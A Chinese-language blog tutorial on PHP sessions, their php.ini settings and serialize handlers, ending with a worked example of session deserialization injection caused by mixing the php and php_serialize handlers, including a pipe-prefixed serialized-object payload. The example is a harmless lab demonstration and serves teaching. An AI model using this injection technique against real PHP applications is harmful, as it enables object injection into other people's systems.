关于php session及其session反序列化

Session一般称为会话控制,简单来说就是一种客户与网站/服务器更为安全的对话方式。一旦开启了session会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立一种”对话”机制。

关于php session

php session可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,php session变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且对应的具体session值会存储于服务器端,这也是cookie的主要区别,所以session的安全性相对较高。

php session的工作流程

当开始一个会话时,PHP会尝试从请求中查找会话ID(通常通过会话cookie),如果发现请求的CookiesGETPOST中不存在session id,PHP就会自动调用php_session_creat_id函数创建一个新的会话,并且在http response中通过set-cookie头部发送给客户端保存。

有时候浏览器用户设置会禁止cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及form的hidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项。

会话开始之后,php就会将会话中的数据设置到$_SESSION变量中。
下列代码是在$_SESSION变量中注册变量的例子:

1
2
3
4
5
6
<?php
session_start();
if (!isset($_SESSION['username'])) {
$_SESSION['username'] = 'admin' ;
}
?>

当php脚本停止的时候,它会自动读取$_SESSION中的内容,并将其序列化,然后发送给会话保存管理器来进行保存。

默认情况下,PHP使用内置的文件会话保存管理器来完成session的保存,也可通过配置session.save_handler来修改所要采用的会话保存管理器。对于文件会话保存管理器,会将会话数据保存到配置项session.save_path所指定的位置。

整个过程为:

php session在php.ini中的配置

Ps: 看看就好

  • session.gc_divisor
    php session垃圾回收机制相关配置
  • session.sid_bits_per_character
    指定编码的会话id字符中的位数
  • session.save_path=””
    该配置主要设置session的存储路径
    `session.save_handler=””
    该配置主要设定用户自定义存储函数,如果想使用php内置session存储机制之外的可以使用这个函数。
  • session.use_strict_mode
    严格会话模式,严格会话模式不接受未初始化的会话id并重新生成会话id
  • session.use_cookies
    指定是否在客户端用cookie来存放id,默认启用
  • session.cookie_secure
    指定是否仅通过安全连接发送cookie,默认关闭
  • session.use_only_cookies
    指定是否在客户端仅仅使用cookie来存放会话id
  • session.name
    指定会话名以用做cookie的名字,只能以字符数字组成,默认为PHPSESSID
  • session.auto_start
    指定会话模块是否在请求开始启动一个会话,默认值为0,不启动
  • session.cookie_lifetime
    指定了发送到浏览器的cookie的生命周期,单位为秒,值为0表示”直到关闭浏览器”。默认为0
  • session.cookie_path
    指定要设置会话cookie的路径,默认为/
  • session.cookie_domain
    指定要设置会话cookie的域名,默认为无,表示根据cookie规范产生cookie的主机名
  • session.cookie_httponly
    将cookie标记为只能通过http协议访问,即无法通过脚本语言(例如JavaScript)访问Cookie,此设置可以有效地帮助通过XSS攻击减少身份盗用
  • session.serialize_handler
    定义用来序列化/反序列化的处理器的名字,默认使用php,还有其他引擎,且不同的引擎的对应的session的存储方式不相同。
  • session.gc_probablity
    该配置项与 session.gc_divisor 合起来用来管理 garbage collection,即垃圾回收进程启动的概率
  • session.gc_divisor
    该配置项与session.gc_probability合起来定义了在每个会话初始化时启动垃圾回收进程的概率
  • session.gc_maxlifetime
    指定过了多少秒之后数据就会被视为“垃圾”并被清除,垃圾搜集可能会在session启动的时候开始( 取决于session.gc_probability 和 session.gc_divisor)
  • session.referer_check
    包含有用来检查每个HTTP Referer的子串。如果客户端发送了Referer信息但是在其中并未找到该子串,则嵌入的会话 ID 会被标记为无效。默认为空字符串
  • session.cache_limiter
    指定会话页面所使用的缓冲控制方法(none/nocache/private/private_no_expire/public)。默认为 nocache
  • session.cache_expire
    以分钟数指定缓冲的会话页面的存活期,此设定对nocache缓冲控制方法无效。默认为 180
  • session.use_trans_sid
    指定是否启用透明 SID 支持。默认禁用
  • session.sid_length
    配置会话ID字符串的长度。 会话ID的长度可以在22到256之间。默认值为32。
  • session.trans_sid_tags
    指定启用透明sid支持时重写哪些HTML标签以包括会话ID
  • session.trans_sid_hosts
    指定启用透明sid支持时重写的主机,以包括会话ID
  • session.sid_bits_per_character
    配置编码的会话ID字符中的位数
  • session.upload_progress.enabled
    启用上传进度跟踪,并填充$ _SESSION变量, 默认启用。
  • session.upload_progress.cleanup
    读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用
  • session.upload_progress.prefix
    配置$ _SESSION中用于上传进度键的前缀,默认为upload_progress_
  • session.upload_progress.name
    $ _SESSION中用于存储进度信息的键的名称,默认为PHP_SESSION_UPLOAD_PROGRESS
  • session.upload_progress.freq
    定义应该多长时间更新一次上传进度信息
  • session.upload_progress.min_freq
    更新之间的最小延迟
  • session.lazy_write
    配置会话数据在更改时是否被重写,默认启用

php session的存储机制

php session的存储机制是由sess.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件文件名是sess_<SESSIONID>,文件的内容就是session值的序列化之后的内容。

session.serialize_handler定义的引擎有三种:

名称 存储格式
php(默认) 键名+竖线+经过serialize()函数序列化后的值
php_binary 键名的长度对应的ASCII字符+键名+经过serialize()函数序列化后的值
php_serialize 经过serialize()函数序列化后的数组

注:自 PHP 5.5.4 起可以使用 php_serialize

上述三种处理器中,php_serialize在内部简单地直接使用 serialize/unserialize函数,并且不会有phpphp_binary所具有的限制。 使用较旧的序列化处理器导致$_SESSION 的索引既不能是数字也不能包含特殊字符(|和!) 。

可以在session_start()时传入serialize_handler=php_serialize参数来修改session存储方式

php引擎

session.serialize_handler=php时,例如:

1
2
3
4
5
6
7
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session_1'] = "test1";
$_SESSION['session_2'] = "test2";
?>

此时的session文件内容为:session_1|s:5:"test1";session_2|s:5:"test2";

php_binary引擎

session.serialize_handler=php_binary时,例如:

1
2
3
4
5
6
7
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['session_1'] = "test1";
$_SESSION['session_2'] = "test2";
?>

此时的文件内容为:<0x09>session_1s:5:"test1";<0x09>session_2s:5:"test2";
其中<0x09>为键名session_1的长度的ascii字符。

php_serialize引擎

session.serialize_handler=php_binary时,例如:

1
2
3
4
5
6
7
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session_1'] = "test1";
$_SESSION['session_2'] = "test2";
?>

此时文件内容为:a:2:{s:9:"session_1";s:5:"test1";s:9:"session_2";s:5:"test2";}
此时内容就是数组$SESSION序列化后的值

php session反序列化的问题

简单的说,php引擎和php_serialize引擎这两个引擎生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。

一个例子

定义一个session.php文件,用于传入session值:

1
2
3
4
5
6
<?php
error_reporting(E_ALL);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

存在另一个class.php文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(E_ALL);
ini_set('session.serialize_handler','php');
session_start();
class test{
public $name = 'panda';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new test();
?>

这两个文件的作用很清晰,session.php文件的引擎是php_serializeclass.php文件的引擎是phpsession.php文件的作用是传入可控的session值,class.php文件的作用是在反序列化开始前输出Who are you?,反序列化结束的时候输出name值。

这两个文件如果想要利用php session反序列化,我们要在session.php文件传入|+序列化格式的值,然后再次访问class.php文件的时候,就会在调用session值的时候,触发。

首先生成序列化字符串,利用 payload 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class test{
public $name;
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new test();
$str->name = "admin";
echo serialize($str);
?>

生成序列化内容为:O:4:"test":1:{s:4:"name";s:5:"admin";}

传入session.php中的值为:|O:4:"test":1:{s:4:"name";s:5:"admin";}
此时session文件中的内容为: a:1:{s:7:"session";s:39:"|O:4:"test":1:{s:4:"name";s:5:"admin";}

再次访问class.php

参考

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2020/01/27/php/关于php session及其session反序列化/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog